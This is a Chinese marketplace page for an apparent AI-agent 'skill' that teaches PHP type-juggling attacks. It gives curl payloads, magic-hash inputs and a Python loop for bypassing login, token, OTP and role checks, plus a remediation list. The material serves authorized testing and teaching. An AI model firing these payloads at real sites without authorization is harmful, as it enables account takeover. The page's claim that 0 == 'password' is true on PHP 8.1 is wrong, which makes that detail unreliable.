mcpField
E
exploiting-type-juggling-vulnerabilities

exploiting-type-juggling-vulnerabilities

github.com/mukul975安全35.2k166 次安装8 周前更新
代码仓库

关于 exploiting-type-juggling-vulnerabilities

该技能面向 PHP 应用的授权安全测试,讲解如何检测和验证宽松比较导致的类型混淆漏洞,重点涉及认证绕过、魔术哈希及 JSON 类型控制。

主要功能

  1. 01定位宽松比较的易受攻击逻辑
  2. 02测试认证与密码校验绕过
  3. 03利用魔术哈希碰撞验证风险
  4. 04检查访问控制和反序列化输入
  5. 05自动化测试常见类型载荷

适用场景

  1. 01审计 PHP 登录与令牌验证逻辑
  2. 02测试 JSON 接口的类型控制风险
  3. 03评估密码哈希比较实现
  4. 04编写类型混淆漏洞报告

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill exploiting-type-juggling-vulnerabilities

安装后在 Claude Code 中输入/exploiting-type-juggling-vulnerabilities确认已加载。

包含的文件

除 SKILL.md 外,安装时一起下载的参考资料和脚本。

LICENSE
references/
api-reference.md
scripts/
agent.py

详细介绍

利用类型混淆漏洞

何时使用

  • 在测试 PHP Web 应用的身份验证绕过漏洞时
  • 在评估密码比较和哈希验证逻辑期间
  • 在测试使用松散比较(== 而非 ===)的应用时
  • 在代码审查处理 JSON 或反序列化输入的 PHP 应用期间
  • 在评估依赖类型相关比较的输入验证时

前置条件

  • 了解 PHP 类型系统和松散比较行为
  • 了解魔术哈希值(0e 前缀)及其科学计数法解释
  • 使用 Burp Suite 进行请求操作和参数类型更改
  • 用于在本地测试 payload 的 PHP 开发环境
  • 从 PayloadsAllTheThings 收集的魔术哈希字符串集合
  • 能够发送 JSON 或序列化数据以控制输入类型

法律声明: 本技能仅用于授权安全测试和教育目的。未经授权对您不拥有或没有书面许可测试的系统使用是违法的,并可能违反计算机欺诈法。

工作流

步骤 1 — 识别类型混淆候选点
# Look for PHP applications with:
# - Login/authentication forms
# - Password comparison endpoints
# - API endpoints accepting JSON input
# - Token/hash verification
# - Numeric comparison for access control

# Check if application accepts JSON input (allows type control)
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"test"}'

# If application normally uses form data, try JSON
# Form: username=admin&password=test
# JSON: {"username":"admin","password":true}
步骤 2 — 利用松散比较身份验证绕过
# PHP loose comparison: 0 == "password" returns TRUE
# Send integer 0 as password via JSON
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":0}'

# Send boolean true (TRUE == "any_string" in loose comparison)
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":true}'

# Send empty array (array bypasses strcmp)
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":[]}'

# Send null
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":null}'

# PHP strcmp vulnerability: strcmp(array, string) returns NULL
# NULL == 0 is TRUE in loose comparison
curl -X POST http://target.com/login \
  -d "username=admin&password[]=anything"
步骤 3 — 利用魔术哈希碰撞
# PHP treats "0e..." strings as scientific notation (0 * 10^N = 0)
# If hash starts with "0e" followed by only digits, it equals 0 in loose comparison

# Magic MD5 hashes (all evaluate to 0 in loose comparison):
# "240610708" -> md5: 0e462097431906509019562988736854
# "QNKCDZO"  -> md5: 0e830400451993494058024219903391
# "aabg7XSs" -> md5: 0e087386482136013740957780965295
# "aabC9RqS" -> md5: 0e041022518165728065344349536299

# If application compares md5(user_input) == stored_hash:
# And stored_hash starts with "0e" and contains only digits after
curl -X POST http://target.com/login \
  -d "username=admin&password=240610708"

# Magic SHA1 hashes:
# "aaroZmOk" -> sha1: 0e66507019969427134894567494305185566735
# "aaK1STfY" -> sha1: 0e76658526655756207688271159624026011393

# Test with known magic hash values
for payload in "240610708" "QNKCDZO" "aabg7XSs" "aabC9RqS" "0e1137126905" "0e215962017"; do
  echo -n "Testing: $payload -> "
  curl -s -X POST http://target.com/login \
    -d "username=admin&password=$payload" -o /dev/null -w "%{http_code}"
  echo
done
步骤 4 — 利用访问控制中的比较
# Numeric comparison bypass
# If: if($user_id == $target_id) { // allow access }
# "0" == "0e12345" is TRUE (both evaluate to 0)

# String to integer conversion
# "1abc" == 1 is TRUE in PHP (string truncated to integer)
curl "http://target.com/api/user?id=1abc"

# Boolean comparison for role checking
# if($role == true) grants access to any non-empty string
curl -X POST http://target.com/api/action \
  -H "Content-Type: application/json" \
  -d '{"action":"delete","role":true}'

# Null comparison for optional checks
# if($token == null) might skip validation
curl -X POST http://target.com/api/verify \
  -H "Content-Type: application/json" \
  -d '{"token":0}'
步骤 5 — 通过反序列化输入利用
# PHP json_decode() preserves types
# Attacker controls type via JSON: true, 0, null, []

# Bypass token verification
curl -X POST http://target.com/api/verify-token \
  -H "Content-Type: application/json" \
  -d '{"token":true}'

# Bypass numeric PIN verification
curl -X POST http://target.com/api/verify-pin \
  -H "Content-Type: application/json" \
  -d '{"pin":true}'

# Bypass with zero value
curl -X POST http://target.com/api/check-code \
  -H "Content-Type: application/json" \
  -d '{"code":0}'

# PHP unserialize() type juggling
# Craft serialized object with integer type instead of string
# s:8:"password"; -> i:0; (string "password" to integer 0)
步骤 6 — 自动化类型混淆测试
# Test all common type juggling payloads against each parameter
# Using Burp Intruder with type juggling payload list

# Payload list for JSON-based testing:
# true
# false
# null
# 0
# 1
# ""
# []
# "0"
# "0e99999"
# "240610708"

# Python automation
python3 -c "
import requests
import json

url = 'http://target.com/api/login'
payloads = [True, False, None, 0, 1, '', [], '0', '0e99999', '240610708', 'QNKCDZO']

for p in payloads:
    data = {'username': 'admin', 'password': p}
    r = requests.post(url, json=data)
    print(f'password={json.dumps(p):20s} -> Status: {r.status_code}, Length: {len(r.text)}')
"

关键概念

概念描述
松散比较(==)PHP 比较,在比较值之前执行类型强制转换
严格比较(===)PHP 比较,要求值和类型都匹配
魔术哈希哈希以 "0e" 开头后跟数字的字符串,在松散比较中求值为 0
类型强制转换比较期间类型之间的自动转换(字符串到整数,null 到 0)
strcmp 绕过向 strcmp() 传递数组返回 NULL,在松散比较中等于 0
JSON 类型控制使用 JSON 输入向 PHP 端点发送特定类型(布尔值、整数、null)
科学计数法PHP 在数值比较期间将 "0eN" 字符串解释为指数计数法中的 0

工具与系统

工具用途
Burp Suite用于更改请求中参数类型的 HTTP 代理
PHP 交互式 shell本地测试类型混淆行为
PayloadsAllTheThings精选的魔术哈希和类型混淆 payload 列表
phpggc用于反序列化利用的 PHP 通用 gadget 链
自定义 Python 脚本自动化类型混淆 payload 测试
PHPStan/Psalm检测代码中松散比较的静态分析工具

常见场景

  1. 通过布尔值绕过身份验证 — 发送 "password": true 作为 JSON 以绕过松散比较密码验证
  2. 魔术哈希碰撞 — 使用已知的魔术哈希输入("240610708"),其 MD5 以 "0e" 开头,以匹配存储的哈希
  3. strcmp 数组绕过 — 发送 password[]=anything 使 strcmp() 返回 NULL,绕过密码比较
  4. PIN/OTP 绕过 — 发送整数 0 作为验证码,以匹配实际代码的 "0e..." 哈希
  5. 角色提升 — 发送 "role": true 以在松散比较访问检查中匹配任何非空角色字符串

输出格式

## Type Juggling Vulnerability Report
- **Target**: http://target.com
- **Language**: PHP 8.1
- **Framework**: Laravel

### Findings
| # | Endpoint | Parameter | Payload | Type | Impact |
|---|----------|-----------|---------|------|--------|
| 1 | POST /login | password | true (boolean) | Loose comparison | Auth bypass |
| 2 | POST /login | password | 240610708 (magic hash) | MD5 0e collision | Auth bypass |
| 3 | POST /login | password[] | array | strcmp NULL return | Auth bypass |
| 4 | POST /verify | code | 0 (integer) | Numeric comparison | OTP bypass |

### PHP Comparison Table (Relevant)
| Expression | Result | Reason |
|-----------|--------|--------|
| 0 == "password" | TRUE | String cast to 0 |
| true == "password" | TRUE | Non-empty string is truthy |
| "0e123" == "0e456" | TRUE | Both are scientific notation = 0 |
| NULL == 0 | TRUE | NULL cast to 0 |

### Remediation
- Replace all == with === (strict comparison) in security-critical code
- Use password_verify() for password comparison instead of direct comparison
- Use hash_equals() for timing-safe hash comparison
- Validate input types before comparison operations
- Enable PHP strict_types declaration in all files

评论

支持 Markdown